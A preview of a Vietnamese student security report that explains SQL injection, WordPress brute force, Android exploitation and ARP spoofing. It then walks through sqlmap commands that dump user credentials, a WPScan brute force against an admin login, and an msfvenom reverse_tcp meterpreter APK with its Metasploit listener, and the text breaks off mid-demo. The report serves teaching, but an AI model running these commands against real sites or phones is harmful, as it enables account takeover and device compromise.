Báo cáo Mật mã và an ninh mạng - Nguyễn Hồng Phước

Mục lục  
1 Tóm Tắt.  
2
2 Giới Thiệu  
2
2
2
4
5
5
5
6
6
6
6
7
7
7
7
2.1 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  
2.1.1 Các dạng lỗi thường gặp . . . . . . . . . . . . . . . . . . . . . . . .  
2.1.2 Một số dạng tấn công thường gặp . . . . . . . . . . . . . . . . . .  
2.1.3 Công cụ SQLMap . . . . . . . . . . . . . . . . . . . . . . . . . . .  
2.2 WordPress site và tấn công Brute-Force . . . . . . . . . . . . . . . . . . .  
2.2.1 Brute Force Attack là gì ? . . . . . . . . . . . . . . . . . . . . . . .  
2.2.2 Công cụ WPScan . . . . . . . . . . . . . . . . . . . . . . . . . . . .  
2.3 Bảo mật trên thiết bị di động . . . . . . . . . . . . . . . . . . . . . . . . .  
2.3.1 Đôi nét . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  
2.3.2 Công cụ Metaspoit . . . . . . . . . . . . . . . . . . . . . . . . . . .  
2.4 Man in the Middle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  
2.4.1 Mai in the Middle là gì ? . . . . . . . . . . . . . . . . . . . . . . .  
2.4.2 ARP Cache Poisoning là gì ? . . . . . . . . . . . . . . . . . . . . .  
2.4.3 Công cụ Cain & Abel . . . . . . . . . . . . . . . . . . . . . . . . .  
3 Hiện Thực - Demo Cơ Bản  
8
3.1 Sử dụng SQLMap để khai thác lỗi SQL Injection . . . . . . . . . . . . . .  
8
3.2 Sử dụng WPScan để Burte-Force Attack site Wordpress . . . . . . . . . . 13  
3.3 Sử dụng Wfsvenom và Metasploit để khai thác dữ liệu trên điện thoại  
Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17  
3.4 Sử dụng công cụ Cain & Abel để sniffer mật khẩu trong mạng LAN . . . 25  
4 Phân Tích Và Kết Luận  
30  
4.1 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30  
4.2 Brute Force Attack Site Wordpress . . . . . . . . . . . . . . . . . . . . . . 31  
4.3 Bảo mật trên điện thoại di động . . . . . . . . . . . . . . . . . . . . . . . 32  
4.4 Bảo mật LAN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32  
5 Hướng Phát Triển  
6 Tham Khảo  
32  
33  
1
1 Tóm Tắt.  
• Công cụ thực hiện : Kali Linux và Cain & Able .  
• Tiến trình thực hiện:  
– Sử dụng công cụ Cain & Abel để trộm mật khẩu trong mạng LAN .  
–
–
Sử dụng công cụ SQLMap trên Kali Linux để khai thác lỗ hổng SQL  
Injection .  
Sử dụng công cụ WPScan trên Kali Linux để scan lỗ hổng bảo mật của  
các trang Wordpress , và dùng kiểu tấn công Burte-Force để dò password  
Admin chiếm quyền quản trị .  
–
Sử dụng công cụ Msfvenom kết hợp công cụ Metasploit để khai thác dữ  
liệu trên các điện thoại di dộng sử dụng hệ điều hành Android .  
2 Giới Thiệu  
2.1 SQL Injection  
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc  
kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ  
sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp.  
SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete,  
insert, update,. . . trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó  
đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng  
các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...  
2.1.1 Các dạng lỗi thường gặp  
a) Không kiểm tra ký tự thoát truy vấn  
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong  
câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không  
mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:  
statement = "SELECT * FROM users WHERE name = ’" + userName + "’;"  
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng những  
người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một cách nào  
đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích khác  
hẳn so với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị của biến  
userName như sau:  
a’ or ’t’=’t  
2
Khiến câu truy vấn có thể được hiểu như sau:  
SELECT * FROM users WHERE name = ’a’ or ’t’=’t’;  
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được  
sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi ’t’=’t’ luôn đúng. Trong  
khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần  
gọi, tuy nhiên một số SQL API như mysql query của php lại không cho phép điều đó vì  
lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh  
riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị  
của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những người dùng  
từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ bảng dữ liệu  
(về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh họa bằng một  
API cho phép thực hiện nhiều truy vấn cùng lúc:  
a’;DROP TABLE users; SELECT * FROM data WHERE ’t’ = ’t  
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:  
SELECT * FROM users WHERE name = ’a’;  
DROP TABLE users; SELECT * FROM data WHERE ’t’ = ’t’;  
b) Xử lý không đúng kiểu  
Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định nghĩa  
đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào. Điều  
này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng lập trình  
viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà người dùng  
nhập vào có phải là số hay không.Ví dụ như sau:  
statement = "SELECT * FROM users WHERE id = " + a_variable + ";"  
Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào  
một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập  
vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu  
truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của biến  
a_variable là:  
1;DROP TABLE users  
khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì  
câu truy vấn hoàn chỉnh đã được hiểu là:  
SELECT * FROM data WHERE id=1;DROP TABLE users;  
3
c) Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu  
Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là  
trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ cho  
phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên  
những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát.  
d) Blind SQL injection  
Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu  
quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra  
sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự  
tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất  
nhiều thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử  
dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được  
thiết lập sẵn.  
2.1.2 Một số dạng tấn công thường gặp  
a) Dạng tấn công vượt qua kiểm tra lúc đăng nhập  
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào  
lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông  
thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống  
thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng  
nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên  
đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực  
hiện tiếp.  
b) Dạng tấn công sử dụng câu lệnh SELECT  
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công  
phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò  
tìm các điểm yếu khởi đầu cho việc tấn công.  
c) Dạng tấn công sử dụng câu lệnh INSERT  
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham  
gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và  
hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm  
tra tính hợp lệ của thông tin nhập vào.  
d) Dạng tấn công sử dụng stored-procedures  
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực  
thi với quyền quản trị hệ thống ’sa’. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ’; EXEC  
4
xp_cmdshell ‘cmdd.exe dir C: ’. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên  
ổ đĩa C: cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.  
2.1.3 Công cụ SQLMap  
SQLmap là công cụ khai thác những lổ hỏng của cơ sở dữ liệu SQL. Công cụ này được  
xem là công cụ khai thác SQL tốt nhất hiện nay. Được giới bảo mật và giới hacker sử  
dụng thường xuyên. Với người dùng Kali Linux hoặc Back Track 5 thì SQLMap đã được  
tích hợp sẵn vào hệ điều hành. Riêng Windows thì chúng ta phải cài đặt thêm python  
2.7 và Sqlmap để sử dụng.  
2.2 WordPress site và tấn công Brute-Force  
2.2.1 Brute Force Attack là gì ?  
Brute force attack là tên gọi của một loại hình tấn công mạng nhằm mục đích truy  
cập được vào chế độ điều khiển bên trong theo cơ chế login . Tùy mục đích mà ta sẽ  
thấy mục tiêu là gì.  
Hãy tưởng tượng Hacker nắm trong tay một danh sách rất lớn các username và  
password phổ biến hay được sử dụng. Sau đó họ gửi liên tục các truy vấn đăng nhập  
( đối với wordpress là vào file wp-login.php ) nếu tài khoản nào sai, nó sẽ bỏ qua  
và thử tiếp tài khoản khác. Cứ lần lượt như vậy, sau đó lại "thử và thử" mật khẩu  
đến khi nào đăng nhập được thì thôi. Đó là Brute Force Attack. Bạn có thể hiểu  
phương thức này là một cách để dò ra mật khẩu và tài khoản của người quản trị cao nhất.  
Ưu điểm của phương pháp này là kiên trì sẽ thành công . Tuy nhiên cũng phụ thuộc  
một phần vào may rủi. Đôi khi chỉ vài tiếng nhưng cũng có thể vài ngày, vài tháng, thậm  
chí vài năm là điều hết sức bình thường . Và nó còn tùy thuộc vào cấu hình máy , độ  
phức tạp của mật khẩu.  
Khi nào dễ bị brute force attack?  
Hình thức tấn công này dễ phòng chống nhưng lại rất dễ bị dính nếu bạn chủ quan  
trong việc đặt mật khẩu và username của mình. Thường thì bạn sẽ dễ bị tấn công kiểu  
này khi:  
• Đặt username,password quá đươn giản ví dụ như là : admin, administrator...  
• Mật khẩu không an toàn, dễ đoán ra, sử dụng phổ biến.  
• Không bảo mật đường dẫn đăng nhập.  
• Không thay đổi mật khẩu thường xuyên.  
5
2.2.2 Công cụ WPScan  
WPScan là một công cụ dùng để quét các lỗ hổng bảo mật trên WordPress. WPScan  
được viết trên ngôn ngữ Ruby. WPScan thường được các chuyên gia bảo mật và các  
admin của WordPress sử dụng để kiểm tra các lỗi bảo mật.  
WPScan có rất nhiều chức năng như sau:  
• Kiểm tra mã nguồn website để tìm lỗ hổng XSS, SQL Injection, Local Attack. . .  
• Điều tra các plugin đã được cài đặt.  
•
Tự tấn công Brute Force Attack với các dữ liệu có sẵn để đánh giá độ mạnh của  
mật khẩu.  
2.3 Bảo mật trên thiết bị di động  
2.3.1 Đôi nét  
Ngày nay, số lượng thiết bị mobile được sử dụng ngày một nhiều trong cuộc sống, kéo  
theo đó là mối hiểm họa bảo mật cũng tăng theo. Vì nó khá phổ dụng và ngày càng lưu  
trữ nhiều thông tin, dữ liệu quan trọng, thậm chí là nhạy cảm , nhưng đối với một số  
người dùng họ vẫn khá thờ ơ với vấn đề bảo mật cho thiết bị của mình . Để tránh điều  
đáng tiếc có thể xảy ra , thì mốt số lưu ý ta cần quan tâm như sau :  
• Không tải dữ liệu mập mờ nguồn gốc.  
• Hạn chế truy cập Wifi “chùa”.  
• Sử dụng phần mềm bảo mật.  
• Nên sao lưu dữ liệu điện thoại thường xuyên.  
• Nên tạo mật khẩu cho điện thoại và dữ liệu cá nhân.  
Để minh chứng cho việc bảo mật của điện thoại di dộng là cần thiết , trong bài này  
nhóm sẽ trình bày vài cách khai thác dữ liệu của người dùng smartphone ( Điển hình là  
trên hệ điều hành Android ) .  
2.3.2 Công cụ Metaspoit  
Metasploit framework là một công cụ dùng để kiểm tra ,tấn công và khai thác lỗi  
của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những  
components được viết bằng C, assembler, và Python.Metasploit có thể chạy trên hầu hết  
các hệ điều hành: Linux, Windows, MacOS ...  
Nó là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode (payload)  
để tấn công máy có lỗ hổng.Cùng với một số bộ công cụ bảo mật khác,Metasploit có  
cơ sở dữ liệu chứa hàng ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các  
6
chương trình hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các  
Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.  
Ngoài ra , Metasploit framework là một bộ dự án sinh ra để kiểm tra độ an toàn  
(pentesting ) nhưng đối với những attacker ,thì nó thực sự là một công cụ vô cùng hữu  
ích ( dùng để kiểm tra ,khai thác lỗi ,exploit ).  
2.4 Man in the Middle  
2.4.1 Mai in the Middle là gì ?  
Một trong những tấn công mạng thường thấy nhất được sử dụng để chống lại những  
cá nhân và các tổ chức lớn chính là các tấn công MITM (Man in the Middle). Có  
thể hiểu nôm na về kiểu tấn công này thì nó như một kẻ nghe trộm. MITM hoạt động  
bằng cách thiết lập các kết nối đến máy tính nạn nhân và relay các message giữa chúng.  
Trong trường hợp bị tấn công, nạn nhân cứ tin tưởng là họ đang truyền thông một  
cách trực tiếp với nạn nhân kia, trong khi đó sự thực thì các luồng truyền thông lại bị  
thông qua host của kẻ tấn công. Và kết quả là các host này không chỉ có thể thông dịch  
dữ liệu nhạy cảm mà nó còn có thể gửi xen vào cũng như thay đổi luồng dữ liệu để kiểm  
soát sâu hơn những nạn nhân của nó.  
Một số hình thức tấn công MITM hay được sử dụng nhất đó là : giả mạo ARP Cache,  
DNS Spoofing, chiếm quyền điều khiển (hijacking) HTTP session...  
Nhóm sẽ chọn kiểu tấn công giả mạo ARP Cache để giới thiệu vì nó là một trong  
những hình thức tấn công đơn giản nhất nhưng lại là một hình thức hiệu quả nhất khi  
được thực hiện bởi kẻ tấn công.  
2.4.2 ARP Cache Poisoning là gì ?  
Đây là một hình thức tấn công MITM hiện đại có xuất sứ lâu đời nhất (đôi khi còn  
được biết đến với cái tên ARP Poison Routing) , tấn công này cho phép kẻ tấn công  
(nằm trên cùng một subnet với các nạn nhân của nó) có thể nghe trộm tất cả các lưu  
lượng mạng giữa các máy tính nạn nhân.  
2.4.3 Công cụ Cain & Abel  
Cain & Abel là chương trình tìm mật khẩu chạy trên hệ điều hành Microsoft. Nó  
cho phép dễ dàng tìm ra nhiều loại mật khẩu bằng cách dò tìm trên mạng, phá các mật  
khẩu đã mã hóa bằng các phương pháp Dictionary, Brute-Force and Cryptanalysis, ghi  
âm các cuộc đàm thoại qua đường VoIP, giải mã các mật khẩu đã được bảo vệ, tìm ra  
file nơi chứa mật khẩu, phát hiện mật khẩu có trong bộ đệm, và phân tích các giao thức  
định tuyến.  
7
Chương trình này không khai thác những lỗ hổng chưa được vá của bất kỳ phần mềm  
nào. Nó tập trung vào những khía cạnh/điểm yếu hiện có trong các chuẩn giao thức  
các phương pháp đăng nhập và các kỹ thuật đệm; mục đích chính của công cụ này là  
tìm ra mật khẩu và những thông tin càn thiết từ nhiều nguồn, tuy vậy, nó cũng sử dụng  
nhiều công cụ "phi chuẩn" đối với người sử dụng Microsoft Windows.  
,
Đây là công cụ bảo mật khá phổ biến của Oxid.it . Cain & Abel còn thực hiện được  
khá nhiều thứ ngoài vấn đề giả mạo ARP cache , nó là một công cụ rất hữu dụng .  
3 Hiện Thực - Demo Cơ Bản  
3.1 Sử dụng SQLMap để khai thác lỗi SQL Injection  
Đầu tiên vào Kali Linux mở Terminal gõ dòng lệnh sau để hiển thị các tham số cần  
truyền vào SQLMap và biết cách sử dụng chúng :  
sqlmap -h  
Ví dụ ta có site : http://www.abcbank.com/index.php?id=626 .Để xem được  
database của site cần khai thác ta sử dụng lệnh sau :  
Trong đó :  
• -u : là đường dẫn URL  
8
• –dbs: là liện kê tất cả các database của site  
Sau khi thực hiện lệnh trên , ta chú ý các dòng bên dưới available databases đó là  
những database. Ở ví dụ này ta có 2 database : (Ví dụ : database1,database2)  
Bây giờ chúng ta đã có databse (vd : database1,database2) , chúng ta tiếp tục liệt kê  
các tables của database (ở ví dụ này ta chọ database1 ) với cú pháp như sau:  
9
-D database1 –tables  
Trong đó : –tables là lấy tất cả các tables của database được chọn.  
Sau khi thực hiện xong ta có kết quả sau (chú ý dòng 12 tables, nó nghĩa là có 12  
table được tìm thấy ) :  
10  
Một khi đã có được các table ta tiếp tục lấy các cột (column) trong table ra, (ở đây  
ta chọn table thanhvien ) với cú pháp như sau :  
-T thanhvien –columns  
Trong đó : –columns là lấy tất cả các cột (column) của table được chọn.  
Sau khi thực hiện câu lệnh trên ta có kết quả như sau (chú ý dòng 7 columns, nó  
nghĩa là có 7 cột được tìm thấy - xem hình bên dưới ) :  
11  
Bây giờ ta tiếp tục xem nội dung của các cột (ở đây ta chọn các cột : user-  
name,password,status,level từ table thanhvien ) với cú pháp như sau :  
-T thanhvien -C username,password,status,level –dump  
Trong đó : -dump là lệnh hiển thị nội dung của các cột.  
12  
Kết quả cuối cùng ta có :  
3.2 Sử dụng WPScan để Burte-Force Attack site Wordpress  
Hình bên dưới là site mà nhóm thực hiện , vì một lí do khách quan nên link của site  
không được công bố . Do đó , ta sẽ sử dụng link :http://abcbank.es.es/ làm một ví  
dụ .  
13  
Để bắt đầu thực hiện , ta vào Kali Linux và mở công cụ WPScan lên , chương trình  
sẽ có giao diện như sau :  
Tiếp tục , để chuẩn bị cho cuộc tấn công ta cần biết được Username của site . Để  
liệt kê danh sách các Username ta dùng cú pháp như sau :  
Trong đó :  
• -u là địa chỉ URL mục tiêu.  
• -e u là liệt kê tất cả các username , với u là chữ viết tắt của username.  
14  
Kết quả sau khi thực hiện lệnh trên , ta có list user như hình :  
Bây giờ ta đã có Username (Do vì lý do khách quan nên site demo của nhóm không  
được công bố , do đó ta ví dụ đã có username là admin ) , bắt đầu tiến hành Brute  
Force Attack site với cú pháp như sau :  
15  
-w ’/root/pass.txt’  
–username admin  
Trong đó :  
• -w là cú pháp chứa đường dẫn của file mật khẩu .  
• –username là cú pháp chứa tên của username ta đã khai thác được từ trên .  
Sau khi Brute Force Attack thành công ta được kết quả như sau :  
16  
Bây giờ ta chỉ cần vào đường dẫn : http://abcbank.esy.es/wp-admin/ để login  
vào với username và password như trên là xem như đã thành công .  
3.3 Sử dụng Wfsvenom và Metasploit để khai thác dữ liệu trên điện thoại  
Android  
Sử dụng Wfsvenom để tạo Payload (Tạo file chữa mã đọc định dạng APK )  
Trước tiên ta cần sử dụng lệnh : ifconfig để xem địa chỉ IP máy của mình là gì .Ví dụ  
ở đây là : 192.168.1.10  
17  
Sau đó ta dùng lệnh :  
msfvenom -p android/meterpreter/reverse_tcp  
LHOST 192.168.1.10  
LPORT 444 R > androidhack.apk  
Trong đó LHOST là địa chỉ IP của máy Attacker (Máy của mình) và LPORT là  
port để nhận kết nối , ở ví dụ này là 444.  
Sau khi lênh trên thực thi ta sẽ nhận được thông báo : Payload size: <size> bytes  
đến đây được xem như là thành công.  
18  
Kế đến , để ứng dụng này có thể cài được trên máy victim ta cần sign cho file apk vừa  
được tạo . Như hình dưới đây :  
Tiếp theo ta mở công cụ Metasploit lên , chương trình sẽ có giao diện như sau :  
19  
Sau đó ,để thiết lặp cho việc lắng nghe ta cần sử dụng multi/handler bằng cách gõ  
lệnh : use exploit/multi/handler .  
Thiết lặp cho việc nhận phản hồi : set PAYLOAD android/meterpreter/re-  
verse_tcp.  
Thiết lặp LHOST,LPORT tương ứng với phần trên ta tạo .  
20  
Tải về để xem bản đầy đủ
pdf 33 trang myanh 25360 Free
Bạn đang xem 20 trang mẫu của tài liệu "Báo cáo Mật mã và an ninh mạng - Nguyễn Hồng Phước", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

File đính kèm:

  • pdfbao_cao_mat_ma_va_an_ninh_mang_nguyen_hong_phuoc.pdf
  • pdfbia.pdf